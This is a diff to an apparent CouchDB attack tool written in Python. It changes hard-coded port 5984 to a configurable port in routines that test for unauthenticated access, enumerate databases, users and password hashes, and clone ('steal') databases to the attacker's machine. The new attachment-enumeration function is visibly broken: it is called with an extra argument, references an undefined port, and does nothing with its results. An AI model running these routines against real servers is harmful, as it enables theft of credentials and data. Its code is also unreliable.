@@ -38,7 +38,7 @@ def couchScan(target,port,pingIt):
3838
3939 if test == 0 :
4040 try :
41- conn = couchdb .Server ("http://" + str (target ) + ":5984/" , timeout = 4000 )
41+ conn = couchdb .Server ("http://" + str (target ) + ":" + str ( port ) + "/" )
4242
4343 try :
4444 dbVer = conn .version ()
@@ -58,7 +58,7 @@ def couchScan(target,port,pingIt):
5858
5959 else :
6060 try :
61- conn = couchdb .Server ("http://" + str (target ) + ":5984 /" )
61+ conn = couchdb .Server ("http://" + str (target ) + ":" + str ( port ) + " /" )
6262
6363 try :
6464 dbVer = conn .version ()
@@ -87,36 +87,36 @@ def netAttacks(target,port, myIP):
8787 needCreds = couchScan (target ,port ,False )
8888
8989 if needCreds [0 ] == 0 :
90- conn = couchdb .Server ("http://" + str (target ) + ":5984 /" )
90+ conn = couchdb .Server ("http://" + str (target ) + ":" + str ( port ) + " /" )
9191 print "Successful access with no credentials!"
9292 mgtOpen = True
9393
9494 elif needCreds [0 ] == 1 :
9595 print "Login required!"
9696 srvUser = raw_input ("Enter server username: " )
9797 srvPass = raw_input ("Enter server password: " )
98- uri = "http://" + srvUser + ":" + srvPass + "@" + target + ":5984 /"
98+ uri = "http://" + srvUser + ":" + srvPass + "@" + target + ":" + str ( port ) + " /"
9999
100100 try :
101101 conn = couchdb .Server (uri )
102- print "CouchDB authenticated on " + target + ":5984!"
102+ print "CouchDB authenticated on " + target + ":" + str ( port )
103103 mgtOpen = True
104104
105105 except :
106106 raw_input ("Failed to authenticate. Press enter to continue..." )
107107 return
108108
109109 elif needCreds [0 ] == 2 :
110- conn = couchdb .Server ("http://" + str (target ) + ":5984 /" )
110+ conn = couchdb .Server ("http://" + str (target ) + ":" + str ( port ) + " /" )
111111 print "Access check failure. Testing will continue but will be unreliable."
112112 mgtOpen = True
113113
114114 elif needCreds [0 ] == 3 :
115- print "Couldn't connect to CouchDB server."
115+ raw_input ( "Couldn't connect to CouchDB server. Press enter to return to the main menu." )
116116 return
117117
118118
119- mgtUrl = "http://" + target + ":5984 /_utils"
119+ mgtUrl = "http://" + target + ":" + str ( port ) + " /_utils"
120120 #Future rev: Add web management interface parsing
121121 try :
122122 mgtRespCode = urllib .urlopen (mgtUrl ).getcode ()
@@ -131,7 +131,7 @@ def netAttacks(target,port, myIP):
131131 print "\n "
132132 print "1-Get Server Version and Platform"
133133 print "2-Enumerate Databases/Users/Password Hashes"
134- print "3-Check for Attachments"
134+ print "3-Check for Attachments (still under development) "
135135 print "4-Clone a Database"
136136 print "5-Return to Main Menu"
137137 attack = raw_input ("Select an attack: " )
@@ -142,15 +142,15 @@ def netAttacks(target,port, myIP):
142142
143143 if attack == "2" :
144144 print "\n "
145- enumDbs (conn ,target )
145+ enumDbs (conn ,target , port )
146146
147147 if attack == "3" :
148148 print "\n "
149- enumGrid (conn )
149+ enumAtt (conn , target , port )
150150
151151 if attack == "4" :
152152 print "\n "
153- stealDBs (myIP ,conn ,target )
153+ stealDBs (myIP ,conn ,target , port )
154154
155155 if attack == "5" :
156156 return
@@ -159,8 +159,21 @@ def getPlatInfo(couchConn, target):
159159 print "Server Info:"
160160 print "CouchDB Version: " + couchConn .version ()
161161 return
162+
163+ def enumAtt (conn ,target ):
164+ dbList = []
165+ print "Enumerating all attachments..."
166+
167+ for db in conn :
168+ dbList .append (db )
169+
170+ for dbName in dbList :
171+ r = requests .get ("http://" + target + ":" + str (port ) + "/" + dbName + "/_all_docs" )
172+ dbDict = r .json ()
173+
162174
163- def enumDbs (couchConn ,target ):
175+
176+ def enumDbs (couchConn ,target ,port ):
164177 dbList = []
165178 userNames = []
166179 userHashes = []
@@ -178,7 +191,7 @@ def enumDbs (couchConn,target):
178191 print "Error: Couldn't list databases. The provided credentials may not have rights."
179192
180193 if '_users' in dbList :
181- r = requests .get ("http://" + target + ":5984 /_users/_all_docs?startkey=\" org.couchdb.user\" &include_docs=true" )
194+ r = requests .get ("http://" + target + ":" + str ( port ) + " /_users/_all_docs?startkey=\" org.couchdb.user\" &include_docs=true" )
182195 userDict = r .json ()
183196
184197 for counter in range (0 ,int (userDict ["total_rows" ])- int (userDict ["offset" ])):
@@ -208,7 +221,7 @@ def enumDbs (couchConn,target):
208221
209222 return
210223
211- def stealDBs (myDB , couchConn , target ):
224+ def stealDBs (myDB ,couchConn ,target , port ):
212225 dbLoot = True
213226 menuItem = 1
214227 dbList = []
@@ -242,7 +255,7 @@ def stealDBs (myDB, couchConn, target):
242255 cloneAnother = raw_input ("Database cloned. Copy another (y/n)? " )
243256
244257 if cloneAnother in yes_tag :
245- stealDBs (myDB ,couchConn )
258+ stealDBs (myDB ,couchConn , target , port )
246259
247260 else :
248261 return
0 commit comments